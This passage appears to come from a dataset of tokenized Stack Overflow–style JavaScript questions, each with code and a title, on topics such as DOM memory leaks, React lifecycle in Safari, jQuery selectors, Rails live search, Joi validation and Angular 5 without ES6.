page in Chrome grows , but not too much ( it starts around 40 MB and reaches maybe 80 MB max ) . In Firefox , however , the memory usage starts around 120 MB and can expand to over 400 MB . I 've stepped through the Javascript with Firebug and it seems like the memory expands the most when the DOM is updated via my Javascript methods.The DOM manipulation is simple , such as : Before appending new data to the nodes in the DOM , I first clear the existing data . I 've tried a number of ways , including what is described here : How to remove DOM elements without memory leaks ? As well as a simple way such as : I 've also read ( Cyclic adding/removing of DOM nodes causes memory leaks in JavaScript ? ) that browsers only start collecting garbage when it reaches a certain level ? Can that be confirmed ? I feel that my PC is running sluggish after a while due to the growing memory.I feel there has to be a solution to this , because commercial sites I 've tested that perform the same functional steps do not cause memory usage to grow.Any help would be greatly appreciated.Thank you . var myTable = document.createElement ( `` table '' ) ; var thead = document.createElement ( `` thead '' ) ; var tr = document.createElement ( `` tr '' ) ; var th = document.createElement ( `` th '' ) ; th.appendChild ( document.createTextNode ( `` column1 '' ) ) ; tr.appendChild ( th ) ; for ( var test in obj.testObjs ) { th = document.createElement ( `` th '' ) ; th.appendChild ( document.createTextNode ( obj.testObjs [ test ] .myVar ) ) ; tr.appendChild ( th ) ; } function clearChildren ( node ) { if ( node ! = null ) { while ( node.hasChildNodes ( ) ) node.removeChild ( node.firstChild ) ; } }",Updating DOM via Javascript causing memory leaks ( only in Firefox ? ) "JS : React 16 triggers componentDidMount ( ) when going back in Safari , even tho the component never unmounted . How does react know when to mount ? BackgroundSafari uses bfcache . If you go back it takes the last page from cache.When using react 15.3 or libraries such as preact , leaving the page will not trigger componentWillUnmount and going back will not trigger componentDidMount.This behaviour causes several issues - for example when you set your page state to loading before redirecting . If the user goes back , the state is still set to loading and you can not even reset the state using componentDidMount , because it never triggers.There is a solution , by using onpageshow , but since it only triggers one time , you have to reload the whole page using window.location.reload ( ) . This is also the reason react can not rely on this solution . class Foo extends React.Component { state = { loading : false } componentDidMount ( ) { // when going back in safari // triggers in react 16 , but not in 15.3 or preact console.log ( 'mounted ' ) ; } componentWillUnmount ( ) { // will never trigger console.log ( 'will unmount ' ) ; } leave ( ) { this.setState ( { loading : true } ) ; setTimeout ( ( ) = > { window.location.href = 'https : //github.com/ ' ; } , 2000 ) ; } render ( ) { return this.state.loading ? < div > loading ... < /div > : < button onClick= { this.leave.bind ( this ) } > leave < /button > ; } }",How does react trigger componentDidMount with safari cache ? "JS : I 'm trying to find every permutations of 2 arrays like this : It should function with more than 3 items , both arrays will always be same length . This is my code : result is missing some // inputlowerWords = [ 'one ' , 'two ' , 'three ' ] upperWords = [ 'ONE ' , 'TWO ' , 'THREE ' ] // outputkeywords = { 'one two three ' : true , 'ONE two three ' : true , 'ONE TWO three ' : true , 'ONE TWO THREE ' : true , 'ONE two THREE ' : true , 'one TWO three ' : true , 'one two THREE ' : true , 'one TWO THREE ' : true , } const keywords = { } const lowerWords = [ 'one ' , 'two ' , 'three ' ] const upperWords = [ 'ONE ' , 'TWO ' , 'THREE ' ] const wordCount = lowerWords.lengthlet currentWord = 0let currentWords = [ ... upperWords ] while ( currentWord < wordCount ) { currentWords [ currentWord ] = lowerWords [ currentWord ] let keyword = currentWords.join ( ' ' ) keywords [ keyword ] = true currentWord++ } currentWord = 0currentWords = [ ... lowerWords ] while ( currentWord < wordCount ) { currentWords [ currentWord ] = upperWords [ currentWord ] let keyword = currentWords.join ( ' ' ) keywords [ keyword ] = true currentWord++ } ONE TWO THREE : trueONE TWO three : trueONE two three : trueone TWO THREE : trueone two THREE : trueone two three : true",Find all permutations of 2 arrays in JS "JS : There is something I 'm not seeing here.. I have a string-variable with elements id : I get that string from another element like this ( 'sf_selectedmethod ' is another element ) : Then I removed the last char and add some info to that id , namely the last number and the ' # ' : And it becomes the string described above.And I 'm trying to access the element with jQuery like this : The element with that id exists , but nothing happens . I tried hiding the element as well : But still nothing happens.I put the whole element into console.debug , and it shows an empty object : Outputs : Object [ ] in the consoleWhat am I missing here ? Edit : I tried the escape-thingy , and it seems to work , but now the problem is that how can I escape the colons and such when the info is in the variable ? var sf_new_id = `` # sf_widget_choice-32:14.86:1:1 '' var anotherid = sf_selectedmethod.attr ( 'id ' ) ; var sf_new_id = anotherid.substr ( 0 , anotherid.length-1 ) ; // Now without the last char.sf_new_id = ' # '+sf_new_id+ ' 1 ' ; $ ( sf_new_id ) .addClass ( `` ... '' ) ; $ ( sf_new_id ) .hide ( ) ; console.debug ( $ ( sf_new_id ) ) ;",jQuery string-variable as id-selector return empty object "JS : I have a rails 5.1.3 app that 's a basic contact model ( handy names and numbers ) . I 'm using ransack to search on the index view/page . I 'm using coffeescript to listen to a keyup event on the input and it 's working , firing as I type ( per the rails dev logs ) but the the input on the form loses focus and the partial does n't continue to refresh as I click back into the put and type . I 'm thinking this is a Turbolinks issue , but I 'm not sure.Here is my controller : contacts_controller.rb excerptHere is my index view index.html.erbHere is my js file index.js.erbHere are the partials for search and resultsHere is my contacts.coffee fileHere is an excerpt of the development.log which shows the method being fired , but my partial is not refreshing . It fires one letter and stalls completely , losing focus on the form input . Am I missing something here or is my coffeescript wrong ? class ContactsController < ApplicationController def index @ q = Contact.ransack ( params [ : q ] ) @ contacts = @ q.result ( distinct : true ) .order ( `` name asc '' ) .paginate ( : page = > params [ : page ] , : per_page = > 2 ) respond_to do |format| format.html format.js { render `` index '' , : locals = > { : contacts = > @ contacts } } end endend < % = link_to `` New Contact '' , ' # contact-modal ' , data : { toggle : `` modal '' , target : `` # contact-modal '' } , class : 'btn btn-info btn-sm ' % > < % = render 'shared/contact_modal ' % > < div id= '' search '' > < % = render 'contacts/search ' % > < /div > < div id= '' results '' > < % = render 'contacts/results ' , contacts : @ contacts % > < /div > $ ( `` # search '' ) .html ( `` < % =j render : partial = > 'contacts/search ' % > '' ) $ ( `` # results '' ) .html ( `` < % =j render : partial = > 'contacts/results ' , locals : { contacts : @ contacts } % > '' ) < % = search_form_for ( @ q , url : `` /contacts '' , method : : get , id : `` contacts_search '' , remote : true ) do |f| % > < % = f.search_field : name_or_address_or_office_number_or_home_number_or_mobile_number_or_fax_number_or_email_or_misc_info_cont , placeholder : 'Search ... ' , class : 'form-control ' % > < % = f.submit % > < % end % > < table class= '' table table-striped '' > < thead class= '' thead-default '' > < tr > < th > Name < /th > < th > Company Name < /th > < th > Office Number < /th > < th > Mobile Number < /th > < th > Home Number < /th > < th > Address < /th > < th > Email < /th > < /tr > < /thead > < tbody > < % contacts.each do |contact| % > < tr > < td > < % = link_to `` # { contact.name } '' , contact_path ( contact ) % > < /td > < td > < % = contact.company_name % > < td > < % = contact.office_number % > < /td > < td > < % = contact.mobile_number % > < /td > < td > < % = contact.home_number % > < /td > < td > < % = contact.address % > < /td > < td > < % = contact.email % > < /td > < /tr > < % end % > < /tbody > < /table > < % = will_paginate contacts , renderer : WillPaginate : :ActionView : :BootstrapLinkRenderer % > $ ( document ) .on 'turbolinks : load ' , - > $ ( ' # contacts_search input ' ) .keyup - > $ .get $ ( ' # contacts_search ' ) .attr ( 'action ' ) , $ ( ' # contacts_search ' ) .serialize ( ) , null , 'script ' false Started GET `` /contacts ? utf8= % E2 % 9C % 93 & q % 5Bname_or_address_or_office_number_or_home_number_or_mobile_number_or_fax_number_or_email_or_misc_info_cont % 5D=a & _=1504386143674 '' for 127.0.0.1 at 2017-09-02 16:02:25 -0500Processing by ContactsController # index as JS Parameters : { `` utf8 '' = > '' ✓ '' , `` q '' = > { `` name_or_address_or_office_number_or_home_number_or_mobile_number_or_fax_number_or_email_or_misc_info_cont '' = > '' a '' } , `` _ '' = > '' 1504386143674 '' } User Load ( 0.3ms ) SELECT `` users '' . * FROM `` users '' WHERE `` users '' . `` id '' = $ 1 ORDER BY `` users '' . `` id '' ASC LIMIT $ 2 [ [ `` id '' , 7 ] , [ `` LIMIT '' , 1 ] ] Role Load ( 0.1ms ) SELECT `` roles '' . * FROM `` roles '' WHERE `` roles '' . `` name '' = $ 1 LIMIT $ 2 [ [ `` name '' , `` disabled '' ] , [ `` LIMIT '' , 1 ] ] Role Load ( 0.1ms ) SELECT `` roles '' . * FROM `` roles '' WHERE `` roles '' . `` id '' = $ 1 LIMIT $ 2 [ [ `` id '' , 1 ] , [ `` LIMIT '' , 1 ] ] CACHE Role Load ( 0.0ms ) SELECT `` roles '' . * FROM `` roles '' WHERE `` roles '' . `` name '' = $ 1 LIMIT $ 2 [ [ `` name '' , `` disabled '' ] , [ `` LIMIT '' , 1 ] ] Rendering contacts/index.js.erb Rendered contacts/_search.html.erb ( 1.4ms ) Contact Load ( 0.7ms ) SELECT DISTINCT `` contacts '' . * FROM `` contacts '' WHERE ( ( ( ( ( ( ( `` contacts '' . `` name '' ILIKE ' % a % ' OR `` contacts '' . `` address '' ILIKE ' % a % ' ) OR `` contacts '' . `` office_number '' ILIKE ' % a % ' ) OR `` contacts '' . `` home_number '' ILIKE ' % a % ' ) OR `` contacts '' . `` mobile_number '' ILIKE ' % a % ' ) OR `` contacts '' . `` fax_number '' ILIKE ' % a % ' ) OR `` contacts '' . `` email '' ILIKE ' % a % ' ) OR `` contacts '' . `` misc_info '' ILIKE ' % a % ' ) ORDER BY name asc LIMIT $ 1 OFFSET $ 2 [ [ `` LIMIT '' , 2 ] , [ `` OFFSET '' , 0 ] ] ( 0.3ms ) SELECT COUNT ( DISTINCT `` contacts '' . `` id '' ) FROM `` contacts '' WHERE ( ( ( ( ( ( ( `` contacts '' . `` name '' ILIKE ' % a % ' OR `` contacts '' . `` address '' ILIKE ' % a % ' ) OR `` contacts '' . `` office_number '' ILIKE ' % a % ' ) OR `` contacts '' . `` home_number '' ILIKE ' % a % ' ) OR `` contacts '' . `` mobile_number '' ILIKE ' % a % ' ) OR `` contacts '' . `` fax_number '' ILIKE ' % a % ' ) OR `` contacts '' . `` email '' ILIKE ' % a % ' ) OR `` contacts '' . `` misc_info '' ILIKE ' % a % ' ) Rendered contacts/_results.html.erb ( 3.7ms ) Rendered contacts/index.js.erb ( 9.6ms ) Completed 200 OK in 32ms ( Views : 25.8ms | ActiveRecord : 1.6ms )",Rails 5 Live Search with Keyup losing input focus Turbolinks "JS : Say I 've got an object : When I built the Agent class , I decided to make the id property immutable : But at some point I will want to mark the object for deletion . And because we ca n't actually delete this , I 'm going to cripple the object by removing the id property instead . So I go to make the property writable again : But of course I get : Because id already exists.How can I make an existing non-writable property writable ? var agent = new Agent ( { name : 'James ' , type : 'secret ' , id : 007 } ) Object.defineProperty ( Agent.prototype , 'id ' , { configurable : false , writable : false } ) Object.defineProperty ( agent , 'id ' , { configurable : true , writable : true } ) delete agent.id TypeError : Can not redefine property : id",Make existing non-writable and non-configurable property writable and configurable JS : I have some jQuery code that intercepts links clicked on a page : My problem is there are certain parts of the page that have not finished loading on document ready . They are populated via ajax calls . The links in these sections are not intercepted by my jQuery function above.I need the function to be run on document ready initially but then I need the new links to also have the same logic applied to them.Any help would be very much appreciated . This is an area that I am very unfamiliar with . I have written the jQuery stuff but the ajax code is an external component that I have no control over . $ ( document ) .ready ( function ( ) { $ ( `` a '' ) .click ( function ( ) { //do something here } ) ; } ) ;,Jquery - intercept links created by ajax request "JS : I 'm setting a breakpoint in the code below where it says `` breakpoint '' . Also adding a watch expression for dataStore.At this breakpoint , Firebug tells me `` ReferenceError : dataStore is not defined '' . Same results with trying to examine `` areEq '' . However , dataStore.push executes without error . An additional strangness : adding a watch expression for `` self '' shows not the self object I expect , with one property , `` put '' , but the `` window '' object.Any idea what the heck is going on ? function ( ) { var self = { } ; var dataStore = [ ] ; var areEq = UNAB.objectsAreEqual ; self.put = function ( key , value ) { /*breakpoint*/ dataStore.push ( { key : key , value : value } ) ; } return self ; }",firebug is erroniously telling me my variable is not defined "JS : I am attempting to implement a countdown timer to a specific point in time in the future . This point in time is always the same day of the week and hour , and is based on UTC time.I am attempting to write a general function that given a day of the week and an hour , it will return a date object that represents that criteria in the future.Examples : getNextOccuranceOfUTCDayAndHour ( 1 , 7 ) ; Get the next occurrence of 7 am on Monday . If today is Monday , 5/25/2015 @ midnight UTC , then this function should return a Date object representing Monday 6/1/2015 7 am UTC.getNextOccuranceOfUTCDayAndHour ( 3 , 13 ) ; Get the next occurrence of 1 pm on Wednesday . If today is Tuesday , 5/26/2015 @ midnight UTC , then this function should return a Date object representing Wednesday 5/27/2015 1 pm UTC.I have attempted to write a function to do this and I have included the snippet below , but it only seems to work for some dates and not others . It 's incredibly unreliable . I would prefer not to use Moment.js.Edit : Some examples of expected vs. returned values . JSFiddle function getNextOccuranceOfUTCDayAndHour ( day , hour ) { d = new Date ( ) ; d.setDate ( d.getUTCDate ( ) + ( 7 + day - d.getUTCDay ( ) ) % 7 ) d.setUTCHours ( hour , 0 , 0 , 0 ) ; return d ; } function format_seconds ( t ) { var d = Math.floor ( t / 86400 ) ; var h = Math.floor ( t % 86400 / 3600 ) ; var m = Math.floor ( t % 3600 / 60 ) ; var s = Math.floor ( t % 3600 % 60 ) ; return ( ( d > 0 ? d + `` d. `` : `` '' ) + ( h > 0 ? h + `` h. `` : `` '' ) + ( m > 0 ? m + `` m. `` : `` '' ) + s + `` s. '' ) ; } function update ( ) { var next_occurance = getNextOccuranceOfUTCDayAndHour ( 1 , 7 ) ; $ ( ' # next_occurance ' ) .text ( next_occurance ) ; var ms = next_occurance - new Date ( ) ; $ ( ' # countdown ' ) .text ( format_seconds ( Math.floor ( ms / 1000 ) ) ) ; } $ ( function ( ) { update ( ) ; setInterval ( update , 1000 ) ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < p id= '' next_occurance '' > Next Occurance < /p > < p id= '' countdown '' > Countdown < /p >",Get next occurrence of day and hour in javascript "JS : Angular 4 supports below syntax In Angular 5 , Class is missing anyone can provide Angular 5 with ES5 syntax currently i am not able to switch ES6 so please avoid that suggestion . if switching to ES6 is the only way then i will stick to angular 4 as of now var HelloComponent = ng.core Component ( { selector : 'hello-cmp ' , template : 'Hello World ! ' , viewProviders : [ Service ] .Class ( { constructor : [ Service , function ( service ) { } , ` } ) ;",Angular 5 with es5 "JS : Trying to clear a timeout and its not working . console.logging it returns a number after its been initialized and after it 's been destroyed . I 'm expecting the second log to return null . I also did n't expect the timer to be a simple number . I would have expected it to be an object . Is clearTimeout doing what it should be doing here ? const timer = setTimeout ( ( ) = > { } ) ; console.log ( 'initialised ' , timer ) ; // initialised 22 clearTimeout ( timer ) ; console.log ( 'destroyed ' , timer ) ; // destroyed 22",clearTimeout is n't clearing the timeout "JS : I ca n't persuade Node.js to see the second parameter from my URL : I start the Node.js server with the following command : I have the following code in my `` router_rest.js '' file : I make the following call from the command line : When I debug and examine the 'req ' parameter ( in the anonymous function above ) , the url property appears as : I was expecting the url reported to be : Even when I switch parameters , node still only sees the first one.Why has the last parameter ( ie . date ) been truncated ? http : //localhost:8888/cities ? tag=123 & date=2013-03-30T10:00:28.000 % 2B02:00 node -- debug ./router_rest.js require ( `` http '' ) .createServer ( function ( req , res ) { // For PUT/POST methods , wait until the // complete request body has been read . if ( req.method=== '' POST '' || req.method=== '' PUT '' ) { var body = `` '' ; req.on ( `` data '' , function ( data ) { body += data ; } ) req.on ( `` end '' , function ( ) { return routeCall ( req , res , body ) ; } ) } else { return routeCall ( req , res , `` '' ) ; } } ) .listen ( 8888 ) ; curl http : //localhost:8888/cities ? tag=123 & date=2013-03-30T10:00:28.000 % 2B02:00 /cities ? tag=123 /cities ? tag=123 & date=2013-03-30T10:00:28.000 % 2B02:00",Node.js ignores all querystring parameters except the first one "JS : I created a REST api and want to validate the body and the params before calling the controller logic . For the validation I use Joi ( https : //www.npmjs.com/package/joi ) .Let 's say I have a route with one url parameter and some body variables . The params object contains this url parameter but Joi still returns a 400 . The detail message is `` userId '' is requiredI tried to create a minimalistic example showing my code . To reproduce the error create the app.js fileDue to the fact each validation fails there is only one route required to test it . Create users.js with the following contentAnd this users.js controller fileWhen it comes to the policy I created the users.js policy which adds the required schema to the middlewareand then the schema gets validated by my schemaValidation.jsAs you can see I pass in the whole req object . I do this because sometimes I have to validate the body and the params . The url parameter userId is not found by Joi so I get returned a status code of 400 . How can I fix my middleware validation to validate both objects within the req object ? const express = require ( 'express ' ) ; const bodyParser = require ( 'body-parser ' ) ; const morgan = require ( 'morgan ' ) ; const cors = require ( 'cors ' ) ; const app = express ( ) ; app.use ( bodyParser.urlencoded ( { extended : true } ) ) ; app.use ( bodyParser.json ( ) ) ; app.use ( cors ( ) ) ; app.use ( '/users ' , require ( './routes/users.js ' ) ) ; app.listen ( 3000 ) ; const express = require ( 'express ' ) ; const router = express.Router ( ) ; const usersController = require ( '../controllers/users.js ' ) ; const usersControllerPolicy = require ( '../policies/users.js ' ) ; router.get ( '/ : userId ' , usersControllerPolicy.getUserById , usersController.getUserById ) ; module.exports = router ; exports.getUserById = async ( req , res , next ) = > { const { userId } = req.params ; return res.status ( 200 ) .json ( `` everything is fine '' ) ; } ; const joi = require ( 'joi ' ) ; const schemaValidation = require ( '../middleware/schemaValidation.js ' ) ; module.exports = { getUserById : ( req , res , next ) = > { schemaValidation ( { params : { userId : joi.string ( ) .guid ( ) .required ( ) } , body : { } } , req , res , next ) ; } } const joi = require ( 'joi ' ) ; module.exports = ( schema , req , res , next ) = > { const { error } = joi.validate ( req , schema ) ; if ( error ) return res.status ( 400 ) .json ( `` something went wrong '' ) ; next ( ) ; // execute the controller logic }",schema validation fails although parameter is available "JS : Here is the code , What does { connectHOC = connectAdvanced ... } = { } mean inside the function parameter declaration ? I know thatcould mean the default value of the function parameter , but what 's the usage for the code inside previous braces ? export function createConnect ( { connectHOC = connectAdvanced , mapStateToPropsFactories = defaultMapStateToPropsFactories , mapDispatchToPropsFactories = defaultMapDispatchToPropsFactories , mergePropsFactories = defaultMergePropsFactories , selectorFactory = defaultSelectorFactory } = { } ) { ... } = { }",JS function declaration : curly brace object assigned with an empty object in parameter declaration "JS : I 'm building a single page fantasy football application which has partial pages for each position and displays a list of players . I want to implement a checkbox next to each player and as players get drafted I can check the checkbox and have a line go through that players name . I 'm having problems keeping the checkboxes checked as I navigate through the application . As I move through the pages the sate of the checkbox is lost . I 'm not sure how to implement this in Angular.js.Below is the code for my test application.index.htmlfirst.htmlsecond.htmlrouting script < ! DOCTYPE html > < html > < head > < meta content= '' text/html ; charset=utf-8 '' http-equiv= '' Content-Type '' > < link rel= '' stylesheet '' href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css '' > < script src= '' http : //ajax.googleapis.com/ajax/libs/angularjs/1.2.26/angular.min.js '' > < /script > < script src= '' http : //ajax.googleapis.com/ajax/libs/angularjs/1.2.26/angular-route.min.js '' > < /script > < script src= '' script.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js '' > < /script > < script src= '' https : //rawgithub.com/gsklee/ngStorage/master/ngStorage.js '' > < /script > < script src= '' jquery.cookie.js '' > < /script > < /head > < body ng-app= '' RoutingApp '' > < h2 > AngularJS Routing Example < /h2 > < p > Jump to the < a href= '' # first '' > first < /a > or < a href= '' # second '' > second page < /a > < /p > < div ng-view > < /div > < /body > < /html > < ! DOCTYPE HTML > < html > < head > < script src= '' jquery.cookie.js '' > < /script > < meta charset= '' utf-8 '' > < title > Persist checkboxes < /title > < style > button { margin-top:8px ; } < /style > < /head > < body > < h1 > First Page < /h1 > < div > < label for= '' option1 '' > Option 1 < /label > < input type= '' checkbox '' id= '' option1 '' > < /div > < div > < label for= '' option2 '' > Option 2 < /label > < input type= '' checkbox '' id= '' option2 '' > < /div > < div > < label for= '' option3 '' > Option 3 < /label > < input type= '' checkbox '' id= '' option3 '' > < /div > < button > Check all < /button > < /body > < /html > < ! DOCTYPE html > < html ng-app= '' app '' > < head > < script src= '' https : //ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js '' > < /script > < script src= '' https : //rawgithub.com/gsklee/ngStorage/master/ngStorage.js '' > < /script > < script > angular.module ( 'app ' , [ 'ngStorage ' ] ) . controller ( 'Ctrl ' , function ( $ scope , $ localStorage ) { $ scope. $ storage = $ localStorage. $ default ( { x : 42 } ) ; } ) ; < /script > < /head > < body ng-controller= '' Ctrl '' > < button ng-click= '' $ storage.x = $ storage.x + 1 '' > { { $ storage.x } } < /button > + < button ng-click= '' $ storage.y = $ storage.y + 1 '' > { { $ storage.y } } < /button > = { { $ storage.x + $ storage.y } } < /body > < /html > angular.module ( 'RoutingApp ' , [ 'ngRoute ' ] ) .config ( [ ' $ routeProvider ' , function ( $ routeProvider ) { $ routeProvider .when ( '/first ' , { templateUrl : 'first.html ' } ) .when ( '/second ' , { templateUrl : 'second.html ' } ) .otherwise ( { redirectTo : '/ ' } ) ; } ] ) ;",Keep Checkbox Checked After Navigating Bewteen Partials "JS : code : http : //jsfiddle.net/4hV6c/4/just make any selection , and you 'll get a script error in ie8I 'm trying to do this : which in modern browsers ( chrome , ff , opera , etc ) returns [ ] if start_node is not in end_node.parentNode , and returns the element ( I forget which ) if it is found.now , end_node is a text element , and the parentNode is an actual DOM entity . IE will perform .has on just $ ( end_node ) .has ( start_node ) but that is obviously different behavior.Is there a work around to get this to work ? in IE the fiddle will error , other browsers will alert you with a boolean value.UPDATE : here is a word around that overrides .has ( ) for my specific scenario.. not sure if it works for all the cases of .has , as I do n't know them all.http : //jsfiddle.net/8F57r/13/ $ ( end_node.parentNode ) .has ( start_node )",jQuery does n't support .has in IE8 ? what is a work around ? "JS : I have installed typescript to use in my Create React App project . I want to gradually refactor the ES files to TS.But the linter now also parses the .js and .jsx files as Typescript.Is it possible to parse the .js and .jsx files as Ecmascript and the .ts and .tsx as Typescript ? My configuration is : ./eslintrc./tsconfig.jsonThe command used to run : /project/file.js 19:35 warning Missing return type on function @ typescript-eslint/explicit-function-return-type 20:35 warning Missing return type on function @ typescript-eslint/explicit-function-return-type { `` extends '' : [ `` airbnb '' , `` prettier '' , `` plugin : @ typescript-eslint/eslint-recommended '' , `` plugin : @ typescript-eslint/recommended '' , `` prettier/ @ typescript-eslint '' ] , `` parser '' : `` @ typescript-eslint/parser '' , `` rules '' : { `` react/jsx-filename-extension '' : [ 1 , { `` extensions '' : [ `` .js '' , `` .jsx '' , `` .tsx '' , `` .ts '' ] } ] , } } { `` compilerOptions '' : { `` target '' : `` es5 '' , `` lib '' : [ `` dom '' , `` dom.iterable '' , `` esnext '' ] , `` allowJs '' : true , `` skipLibCheck '' : true , `` esModuleInterop '' : true , `` allowSyntheticDefaultImports '' : true , `` strict '' : true , `` forceConsistentCasingInFileNames '' : true , `` module '' : `` esnext '' , `` moduleResolution '' : `` node '' , `` resolveJsonModule '' : true , `` isolatedModules '' : true , `` noEmit '' : true , `` jsx '' : `` react '' } , `` include '' : [ `` src '' ] } { `` scripts '' : { `` lint '' : `` node_modules/.bin/eslint -- ext=.jsx , .js , .tsx , .ts . '' } }",Configure ESLint to parse .ts and .tsx as Typescript and .js and .jsx as Ecmascript "JS : I 'm trying to fetch data from a table called Book . Inside Book there 's a Pointer < ParseUser > which holds the pointer of one user . The ParseUser has another pointer called Pais ( which means Country in spanish ) . So I want to fetch every single info from any Book : and I do n't get the objects , just the pointers : Why ? I know it works ok when I call it in iOS or Android with include ( String key ) or includeKey : NSString* key.Why does n't it work with Javascript ? ? Thank you in advance.Regards.Rafael.EDIT : Oh and I just forgot ... I 've tried with : query.include ( [ `` user '' ] ) ; andquery.include ( [ `` user '' , `` user.pais '' ] ) ; I 've seen some examples where developers used it.SECOND EDIT : The last thing I 've used is fetch like : But did n't work either.This is starting to freak me out.OUR WORKAROUND : The workaround we 're trying to do is fetching everything separately , and then returning back to the user together . This is not a good practice since a little change in the class in a future would ruin the whole function.Is this a bug in the SDK ? var query = new Parse.Query ( `` Book '' ) ; query.include ( `` user '' ) ; query.include ( `` user.pais '' ) ; query.find ( { success : function ( books ) { response.success ( books ) ; } , error : function ( error ) { response.error ( { 'resp ' : error.code , 'message ' : error.message } ) ; } } ) ; Parse.Object.fetchAll ( books , { success : function ( list ) { response.success ( list ) ; } , error : function ( error2 ) { response.error ( { 'resp ' : error2.code , 'message ' : error2.message } ) ; } , } ) ;","Parse.com Javascript SDK using include , but not working" "JS : I 'm using the axios-cookiejar-support library.I have a POST that contains a body , and for some reason , the Cookies are n't getting injected into the request . What did I do wrong here : The weird part is , if I perform a GET against the same endpoint the Cookies get passed : Also , if I perform a POST without a body , they get passed : Initialization of Cookie Jar return axios .post ( urlJoin ( config.portal.url , 'Account/Register ' ) , { UserName : `` testing_engine @ test.com '' , UserFirstName : `` First Name '' , UserLastName : `` Last Name '' , Email : `` testing_engine @ test.com '' , Password : `` ... '' , ConfirmPassword : `` ... '' } , { jar : cookieJar , withCredentials : true } ) .then ( res = > callback ( ) ) .catch ( err = > callback ( err ) ) return axios .get ( urlJoin ( config.portal.url , 'Account/Register ' ) , { jar : cookieJar , withCredentials : true } ) .then ( res = > callback ( ) ) .catch ( err = > callback ( err ) ) ; .post ( urlJoin ( config.portal.url , ` Account/LoginApi ? UserName= $ { config.portal.userName } & Password= $ { config.portal.password } ` ) , null , { jar : cookieJar , withCredentials : true } ) .then ( res = > callback ( ) ) .catch ( err = > callback ( err ) ) import axios from 'axios'import axiosCookieJarSupport from ' @ 3846masa/axios-cookiejar-support'import tough from 'tough-cookie'import urlJoin from 'url-join'const config = require ( 'config ' ) ; import { TEST_STATUS_TYPES , TEST_TASK_TYPES } from '../constants/testsConstants'axiosCookieJarSupport ( axios ) ; const cookieJar = new tough.CookieJar ( ) ;",POST with Body Not Passing Cookies "JS : i get some HTML it a as ajax response , and i need to get just the body contents . So i made this regex : works well in all browser but for some reason IE gives me an other array when i use split : In all normal browsers the content of the body is split ( / ( < body > | < \/body > ) /ig ) [ 2 ] but in ie its in split ( / ( < body > | < \/body > ) /ig ) [ 1 ] . ( tested in IE7 & 8 ) Why is this ? And how could i modify it , in order to get the same array in all browsers ? edit just to clarify . I alrady have a solution as mentioned by tobyodavies . I want to understandy , why it behaves differently.this is the HTML from the response : ( the string in data ) PS : i know that parsing HTML with regex is bad , but its not my code , i just need to fix it . / ( < body > | < \/body > ) /ig data.split ( / ( < body > | < \/body > ) /ig ) < ! DOCTYPE html PUBLIC `` -//W3C//DTD XHTML 1.0 Transitional//EN '' `` '' > http : //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd '' > < html xmlns= '' http : //www.w3.org/1999/xhtml '' xml : lang= '' de '' lang= '' de '' dir= '' ltr '' > < head > blablabla ... < /head > < body > < div class= '' iframe '' > < div id= '' block-menu-menu-primary-links-user '' class= '' block-menu '' > < h3 > Primary Links - User < /h3 > < div class= '' content '' > < ul class= '' menu '' > < li class= '' leaf first '' > < a target= '' content '' href= '' # someurl '' title= '' '' > Login < /a > < /li > < li class= '' leaf last '' > < a target= '' content '' href= '' # someurl '' title= '' '' > Register < /a > < /li > < /ul > < /div > < /div > < /div > < /body > < /html >",different split Regex result in IE "JS : I 've added custom buttons to my MapBox map and they shop up correctly . Howeverwhen I add a click listener it does not work . I see no error in my console . The code looks like this : I execute this code in the mounted method from vue.js . The CustomControl : When I console.log ( document.getElementById ( 'test ' ) ) ; I see the expected result in my console ( the test div ) . So what could be going on here ? const currentLocationControl = new CustomControl ( 'current-location-control ' , 'GPS ' ) ; this.map.addControl ( currentLocationControl , 'top-left ' ) ; document.getElementById ( 'test ' ) .addEventListener ( 'click ' , function ( e ) { alert ( 'test ' ) ; } ) ; export default class CustomControl { constructor ( className , text ) { this.className = className ; this.text = text ; } onAdd ( map ) { this.map = map ; this.container = document.createElement ( 'div ' ) ; this.container.id = 'test ' ; this.container.className = this.className ; this.container.textContent = this.text ; return this.container ; } onRemove ( ) { this.container.parentNode.removeChild ( this.container ) ; this.map = undefined ; } }",Mapbox event listener "JS : Is it possible to use eval ( ) to evaluate JavaScript code and be certain that that code will not have access to certain objects ? Example : The above code does n't seem to have direct access by reference to the window object because it is undefined in that scope . However , if another object exists globally and it contains a reference to window , it would be accessible.If I add to window , location any other object or variable that may contain a reference to window , will the evaluated code ever be capable of referencing the window object ? I am trying to create a platform where user apps can be uploaded with js files and access to specific APIs will be given in the form of permissions . ( function ( window , location ) { eval ( 'console.log ( window , location ) ' ) ; } ) ( )",Using eval ( ) in isolated environment JS : I have an ecma6/es2015 class with a getter defined like so : What I 'd like to be able to do is pass that function as a parameter . Making a call like so : will simply invoke the function . Is there a clean way I can pass the method without invoking it and then invoke in the pass I 'm passing it into ? get foo ( ) { return this._foo ; } someFunction ( myClass.foo ) ;,Pass a Javascript getter as a parameter "JS : I have a customized Django wizard_form.html which shows the user 3 different images on three different pages of my survey . I am trying to use the below script to update 3 hidden form fields on 3 different pages with the contents of value= '' { { display_image } } '' as a way of storing the filename of the images shown to the user in the DatabaseThis works fine for the first page/image e.g.But I cant seem to get it working on the second or thirdCan anyone tell me what I am doing wrong ? My CodeAny helps is as always , much appreciated , Thanks . < input id= '' id_9-slider_one_image '' name= '' 9-slider_one_image '' type= '' hidden '' value= '' P1D1.jpg '' / > < input id= '' id_10-slider_two_image '' name= '' 10-slider_two_image '' type= '' hidden '' / > { % if wizard.steps.current in steps % } < div class= '' image_rating '' > < img src= '' { % static `` survey/images/pathone/ '' % } { { display_image } } '' value= '' { { display_image } } '' onload= '' updateInput1 ( this ) ; updateInput2 ( this ) ; updateInput3 ( this ) ; '' / > < /div > < script type= '' text/javascript '' > function updateInput1 ( ish ) { var valueAttribute = ish.getAttribute ( `` value '' ) ; document.getElementById ( `` id_9-slider_one_image '' ) .setAttribute ( `` value '' , valueAttribute ) ; } function updateInput2 ( ish ) { var valueAttribute = ish.getAttribute ( `` value '' ) ; document.getElementById ( `` id_10-slider_two_image '' ) .setAttribute ( `` value '' , valueAttribute 